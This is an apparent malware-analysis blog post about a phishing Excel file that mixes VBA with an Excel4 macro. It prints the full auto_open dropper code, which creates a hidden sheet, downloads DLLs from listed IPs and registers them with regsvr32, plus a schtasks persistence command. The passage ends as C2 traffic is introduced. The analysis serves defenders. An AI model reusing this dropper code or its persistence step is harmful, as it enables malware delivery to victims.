Excel Recipe: Some VBA Code with a Touch of Excel4 Macro

Published: 2021-09-23. Last Updated: 2021-09-23 07:20:43 UTC
by Xavier Mertens (Version: 1)

Microsoft Excel supports two types of macros. The legacy format is known as “Excel4 macro” and the new (but already used for a while) is based on VBA. We already cover both formats in many diaries[1][2]. Yesterday, I spotted an interesting sample that implements… both!

The malicious file was delivered through a classic phishing email and is called “Document_195004540-Copy.xls” (SHA256:4f4e67dccb3dfc213fac91d34d53d83be9b9f97c0b75fbbce8a6d24f26549e14). The file is unknown on VT at this time. It looks like a classic trap:

The document contains some VBA code:

remnux@remnux:/MalwareZoo/20210922$ oledump.py Document_195004540-Copy.xls
  1:       103 '\x01CompObj'
  2:       240 '\x05DocumentSummaryInformation'
  3:       208 '\x05SummaryInformation'
  4:    180804 'Workbook'
  5:       597 '_VBA_PROJECT_CUR/PROJECT'
  6:       116 '_VBA_PROJECT_CUR/PROJECTwm'
  7:        97 '_VBA_PROJECT_CUR/UserForm1/\x01CompObj'
  8:       301 '_VBA_PROJECT_CUR/UserForm1/\x03VBFrame'
  9:       226 '_VBA_PROJECT_CUR/UserForm1/f'
 10:       272 '_VBA_PROJECT_CUR/UserForm1/o'
 11: M    3768 '_VBA_PROJECT_CUR/VBA/Module1'
 12: m     991 '_VBA_PROJECT_CUR/VBA/Sheet1'
 13: M    3010 '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
 14: m    1195 '_VBA_PROJECT_CUR/VBA/UserForm1'
 15:      3860 '_VBA_PROJECT_CUR/VBA/_VBA_PROJECT'
 16:      2004 '_VBA_PROJECT_CUR/VBA/__SRP_0'
 17:       138 '_VBA_PROJECT_CUR/VBA/__SRP_1'
 18:       212 '_VBA_PROJECT_CUR/VBA/__SRP_2'
 19:       206 '_VBA_PROJECT_CUR/VBA/__SRP_3'
 20:       864 '_VBA_PROJECT_CUR/VBA/dir'

Here is the interesting macro (stream 11):

remnux@remnux:/MalwareZoo/20210922$ oledump.py Document_195004540-Copy.xls -s 11 -v
Attribute VB_Name = "Module1"
Sub auto_open()
  On Error Resume Next
  Application.ScreenUpdating = False
  Set Fera = Excel4IntlMacroSheets
  Fera.Add.Name = "Sheet3"
  Sheets("Sheet3").Visible = False
  Sheets("Sheet3").Range("A1:M100").Font.Color = vbWhite
  Sheets("Sheet3").Range("H24") = UserForm1.Label1.Caption
  Sheets("Sheet3").Range("H25") = UserForm1.Label3.Caption
  Sheets("Sheet3").Range("H26") = UserForm1.Label4.Caption
  Sheets("Sheet3").Range("K17") = "=NOW()"
  Sheets("Sheet3").Range("K18") = ".dat"
  Sheets("Sheet3").Range("H35") = "=HALT()"
  Sheets("Sheet3").Range("I9") = UserForm1.Label2.Caption 
  Sheets("Sheet3").Range("I10") = UserForm1.Caption
  Sheets("Sheet3").Range("I11") = "JJCCBB"
  Sheets("Sheet3").Range("I12") = "Byukilos"
  Sheets("Sheet3").Range("G10") = "..\Xertis.dll"
  Sheets("Sheet3").Range("G11") = "..\Xertis1.dll"
  Sheets("Sheet3").Range("G12") = "..\Xertis2.dll"
  Sheets("Sheet3").Range("I17") = "regsvr32 -silent ..\Xertis.dll"
  Sheets("Sheet3").Range("I18") = "regsvr32 -silent ..\Xertis1.dll"
  Sheets("Sheet3").Range("I19") = "regsvr32 -silent ..\Xertis2.dll"
  Sheets("Sheet3").Range("H10") = "=Byukilos(0,H24&K17&K18,G10,0,0)"
  Sheets("Sheet3").Range("H11") = "=Byukilos(0,H25&K17&K18,G11,0,0)"
  Sheets("Sheet3").Range("H12") = "=Byukilos(0,H26&K17&K18,G12,0,0)"
  Sheets("Sheet3").Range("H9") = "=REGISTER(I9,I10&J10,I11,I12,,1,9)"
  Sheets("Sheet3").Range("H17") = "=EXEC(I17)"
  Sheets("Sheet3").Range("H18") = "=EXEC(I18)"
  Sheets("Sheet3").Range("H19") = "=EXEC(I19)"
  Application.Run Sheets("Sheet3").Range("H1")
End Sub

Sub auto_close()
  On Error Resume Next
  Application.ScreenUpdating = True
  Application.DisplayAlerts = False
  Sheets("Sheet3").Delete
  Application.DisplayAlerts = True
End Sub

First, the attacker wrote some “good” code because a new sheet ("Sheet3") is created and, when the document is closed, the sheet is removed! (Via the auto_close() function).

The magic line is this one:

Set Fera = Excel4IntlMacroSheets

See the Microsoft documentation[3]. An Excel4 macro is injected into the created sheet and executed. What does it do?

It downloads the second stage payload from three different URLs (stored in a form):

hxxp://45[.]153[.]242[.]159/44461.9891568287.dat
hxxp://188[.]165[.]62[.]61/44461.9891568287.dat
hxxp://185[.]198[.]57[.]109/44461.9891568287.dat

The downloaded file is called Xertis.dll (SHA256:b8b8895cdf37dba76f9966ec100ac85cc0f70dfd79f09a175454b5062d21c25d) and again unknown on VT. This is a DLL that is loaded into the system via this command:

regsvr32 -silent ..\Xertis.dll

Persistence is implemented via a scheduled task:

"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn wxhfetombc /tr "regsvr32.exe -s \"C:\Users\user01\Xertis.dll\"" /SC ONCE /Z /ST 23:45 /ET 23:57

Once I infected my lab, the following C2 traffic was generated: